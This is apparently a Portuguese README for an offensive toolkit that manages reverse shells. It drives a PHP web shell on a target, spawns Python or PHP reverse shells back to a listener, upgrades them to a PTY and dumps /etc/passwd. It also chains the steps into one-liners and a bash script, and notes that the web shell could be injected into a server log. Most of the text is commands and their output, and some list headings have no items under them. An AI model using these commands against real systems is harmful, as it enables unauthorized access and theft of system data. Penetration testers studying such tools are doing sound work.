
Suite para gerenciamento de reverse shells voltada para trabalhar dentro do shell nativo
Início de um conjunto de ferramentas Linux para gerir e interagir com reverse shells (o código ainda está num estado rápido e sujo, com pouco tratamento de exceções). Com forte inspiração na filosofia UNIX, a ideia básica é ter um daemon para lidar com endpoints arbitrários (connd, embora ainda não seja um daemon propriamente dito, pode ser executado num terminal separado) e executar ferramentas contra esses endpoints.
Os endpoints são 'conduzidos' por um script ou processo e são expostos como ficheiros no sistema de ficheiros; depois, um cliente de software leve pode ser usado para interagir com eles, mas também podem ser gravados e lidos facilmente com comandos de shell. Na verdade, poder executar os scripts de forma autónoma a partir do shell é um fator de design fundamental, em que, idealmente, um script dependerá, no máximo, da existência de um endpoint, mas também pode ser usado em combinação (em cascata).
As opções atuais de endpoint são:
O cliente de software leve (hthinc.py) fornece uma interface básica para o endpoint do sistema, bem como a execução rápida de scripts contra o sistema. Vários scripts básicos mas úteis foram escritos:
Os tipos de drivers de reverse shell (ou seja, o que está a conduzir o shell no sistema remoto) são os seguintes (atualmente com suporte para Linux):
Outros scripts:
Diga ao connd para iniciar um endpoint, usando um driver de wedge shell contra o script php fornecido, que faz chamadas de sistema com resposta formatada. No entanto, este script de uma única linha poderia igualmente ter sido injetado como código num log de servidor
$ hconnd.py start wsh http://example.com/hwsh.php
1
Isto criou o endpoint 1 (dois pipes de I/O -- pode vê-los como t1i e t1o no subdiretório run). Agora usamos o hthinc.py para interagir com o shell.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
Sabemos que é uma máquina Linux. Queremos sair de um web shell encravado e obter um shell adequado. Executar o comando integrado !help fornece a mensagem de ajuda do thinc. Podemos executar um script sp, que executará automaticamente comandos no sistema remoto, enumerará o ambiente, iniciará um endpoint nc, criará um reverse shell e entrará automaticamente através de um novo hthinc.py:
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Ou, se soubermos que estamos a usar (por exemplo) PHP como driver, podemos especificá-lo:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
E digamos que temos um shell sem TTY ou queremos sair dele; podemos executar uma das macros predefinidas:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
Além disso, se quisermos registar a saída de um comando, podemos usar o script log, que a guardará no diretório de trabalho atual:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
Enquanto os endpoints estão em execução, pode anexar/desanexar clientes, pois os processos de ligação são geridos pelo daemon
Como tudo pode ser executado de forma mais unixy, podemos repetir processos rapidamente a partir do shell. Iniciamos um endpoint de webshell, obtemos o ID do endpoint e, a partir do shell, executamos o script gerador sp.py contra o endpoint (é o mesmo script usado no hthinc.py, mas com um ponto de entrada diferente).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
ou como one-liner:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
e automatizar facilmente:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
A ferramenta hcmd.py permite-lhe executar rapidamente um comando através de um endpoint a partir do seu shell
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
e canalizar ou redirecionar os resultados como habitualmente
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500